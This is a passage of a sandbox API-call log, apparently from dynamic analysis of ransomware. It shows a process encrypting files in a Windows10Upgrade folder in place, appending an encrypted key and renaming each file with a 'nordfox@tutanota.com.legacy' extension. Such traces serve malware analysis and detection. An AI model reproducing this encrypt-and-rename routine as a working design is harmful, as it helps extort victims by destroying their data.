nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0092.701] WriteFile (in: hFile=0x470, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0092.701] CloseHandle (hObject=0x470) returned 1 [0092.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0092.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0092.704] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\DWDCW20.DLL" (normalized: "c:\\windows10upgrade\\dwdcw20.dll"), lpNewFileName="\\Windows10Upgrade\\DWDCW20.DLL.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\dwdcw20.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0092.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0092.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0092.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0092.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0092.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0092.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0092.709] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0092.709] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0092.709] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\DW20.EXE", dwFileAttributes=0x80) returned 1 [0092.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578fe0 [0092.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0092.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0092.710] CreateFileW (lpFileName="\\Windows10Upgrade\\DW20.EXE" (normalized: "c:\\windows10upgrade\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.710] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=643784) returned 1 [0092.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9d2c8) returned 0x3125020 [0092.712] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9d2c8) returned 0x31d7020 [0092.714] ReadFile (in: hFile=0x470, lpBuffer=0x3125020, nNumberOfBytesToRead=0x9d2c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3125020*, lpNumberOfBytesRead=0x2e1f9bc*=0x9d2c8, lpOverlapped=0x0) returned 1 [0092.842] SetFilePointer (in: hFile=0x470, lDistanceToMove=-643784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.842] WriteFile (in: hFile=0x470, lpBuffer=0x31d7020*, nNumberOfBytesToWrite=0x9d2c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x31d7020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9d2c8, lpOverlapped=0x0) returned 1 [0092.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3125020 | out: hHeap=0x520000) returned 1 [0092.847] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x31d7020 | out: hHeap=0x520000) returned 1 [0092.851] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9d2c8 [0092.851] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0092.851] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0092.851] WriteFile (in: hFile=0x470, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0092.852] WriteFile (in: hFile=0x470, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0092.852] CloseHandle (hObject=0x470) returned 1 [0092.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0092.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0092.869] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\DW20.EXE" (normalized: "c:\\windows10upgrade\\dw20.exe"), lpNewFileName="\\Windows10Upgrade\\DW20.EXE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\dw20.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0092.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0092.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0092.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f50 | out: hHeap=0x520000) returned 1 [0092.946] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0092.946] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0092.946] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0092.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0092.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0092.947] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\downloader.dll", dwFileAttributes=0x80) returned 1 [0092.947] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0092.947] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0092.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0092.947] CreateFileW (lpFileName="\\Windows10Upgrade\\downloader.dll" (normalized: "c:\\windows10upgrade\\downloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.948] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=206536) returned 1 [0092.948] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x326c8) returned 0x589f40 [0092.948] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x326c8) returned 0x2f20048 [0092.949] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x326c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x326c8, lpOverlapped=0x0) returned 1 [0093.054] SetFilePointer (in: hFile=0x470, lDistanceToMove=-206536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0093.054] WriteFile (in: hFile=0x470, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0x326c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x326c8, lpOverlapped=0x0) returned 1 [0093.055] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0093.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0093.058] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x326c8 [0093.059] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0093.059] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0093.064] WriteFile (in: hFile=0x470, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0093.064] WriteFile (in: hFile=0x470, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0093.067] CloseHandle (hObject=0x470) returned 1 [0093.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0093.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0093.072] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\downloader.dll" (normalized: "c:\\windows10upgrade\\downloader.dll"), lpNewFileName="\\Windows10Upgrade\\downloader.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\downloader.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0093.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0093.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0093.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0093.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0093.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0093.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d120 [0093.074] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0093.074] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d120 | out: pbBuffer=0x54d120) returned 1 [0093.074] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\DevInv.dll", dwFileAttributes=0x80) returned 1 [0093.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0093.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0093.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0093.076] CreateFileW (lpFileName="\\Windows10Upgrade\\DevInv.dll" (normalized: "c:\\windows10upgrade\\devinv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0093.076] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=329928) returned 1 [0093.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x508c8) returned 0x2f20048 [0093.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x508c8) returned 0x2e20f20 [0093.079] ReadFile (in: hFile=0x470, lpBuffer=0x2f20048, nNumberOfBytesToRead=0x508c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesRead=0x2e1f9bc*=0x508c8, lpOverlapped=0x0) returned 1 [0093.168] SetFilePointer (in: hFile=0x470, lDistanceToMove=-329928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0093.168] WriteFile (in: hFile=0x470, lpBuffer=0x2e20f20*, nNumberOfBytesToWrite=0x508c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x508c8, lpOverlapped=0x0) returned 1 [0093.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0093.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0093.169] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x508c8 [0093.169] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0093.169] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0093.176] WriteFile (in: hFile=0x470, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0093.177] WriteFile (in: hFile=0x470, lpBuffer=0x54d120*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d120*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0093.177] CloseHandle (hObject=0x470) returned 1 [0093.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0093.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d120 | out: hHeap=0x520000) returned 1 [0093.189] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\DevInv.dll" (normalized: "c:\\windows10upgrade\\devinv.dll"), lpNewFileName="\\Windows10Upgrade\\DevInv.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\devinv.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0093.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0093.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0093.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0093.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0093.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0093.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0093.191] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0093.191] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0093.192] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\cosquery.dll", dwFileAttributes=0x80) returned 1 [0093.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0093.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0093.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0093.193] CreateFileW (lpFileName="\\Windows10Upgrade\\cosquery.dll" (normalized: "c:\\windows10upgrade\\cosquery.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0093.193] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=61640) returned 1 [0093.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0c8) returned 0x589f40 [0093.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0c8) returned 0x599010 [0093.194] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0xf0c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0xf0c8, lpOverlapped=0x0) returned 1 [0093.229] SetFilePointer (in: hFile=0x470, lDistanceToMove=-61640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0093.229] WriteFile (in: hFile=0x470, lpBuffer=0x599010*, nNumberOfBytesToWrite=0xf0c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x599010*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf0c8, lpOverlapped=0x0) returned 1 [0093.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0093.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x599010 | out: hHeap=0x520000) returned 1 [0093.232] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf0c8 [0093.232] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0093.232] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0093.234] WriteFile (in: hFile=0x470, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0093.234] WriteFile (in: hFile=0x470, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0093.234] CloseHandle (hObject=0x470) returned 1 [0093.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0093.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0093.236] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\cosquery.dll" (normalized: "c:\\windows10upgrade\\cosquery.dll"), lpNewFileName="\\Windows10Upgrade\\cosquery.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\cosquery.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0093.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0093.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0093.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0093.238] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0093.238] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0093.238] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0093.238] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0093.239] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0093.239] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\Configuration.ini", dwFileAttributes=0x80) returned 1 [0093.239] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0093.239] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0093.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0093.239] CreateFileW (lpFileName="\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0093.239] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=212) returned 1 [0093.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd4) returned 0x553500 [0093.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd4) returned 0x582160 [0093.240] ReadFile (in: hFile=0x470, lpBuffer=0x553500, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x553500*, lpNumberOfBytesRead=0x2e1f9bc*=0xd4, lpOverlapped=0x0) returned 1 [0093.241] SetFilePointer (in: hFile=0x470, lDistanceToMove=-212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0093.241] WriteFile (in: hFile=0x470, lpBuffer=0x582160*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd4, lpOverlapped=0x0) returned 1 [0093.241] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0093.241] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0093.241] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd4 [0093.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0093.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0093.241] WriteFile (in: hFile=0x470, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0093.242] WriteFile (in: hFile=0x470, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0093.242] CloseHandle (hObject=0x470) returned 1 [0093.243] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0093.243] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0093.243] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini"), lpNewFileName="\\Windows10Upgrade\\Configuration.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\configuration.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0093.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0093.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0093.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0093.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0093.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0093.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0093.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0093.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0093.245] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\bootsect.exe", dwFileAttributes=0x80) returned 1 [0093.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0093.245] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0093.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0093.246] CreateFileW (lpFileName="\\Windows10Upgrade\\bootsect.exe" (normalized: "c:\\windows10upgrade\\bootsect.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0093.246] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=118472) returned 1 [0093.246] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1cec8) returned 0x589f40 [0093.246] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1cec8) returned 0x5a6e10 [0093.246] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x1cec8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x1cec8, lpOverlapped=0x0) returned 1 [0093.279] SetFilePointer (in: hFile=0x470, 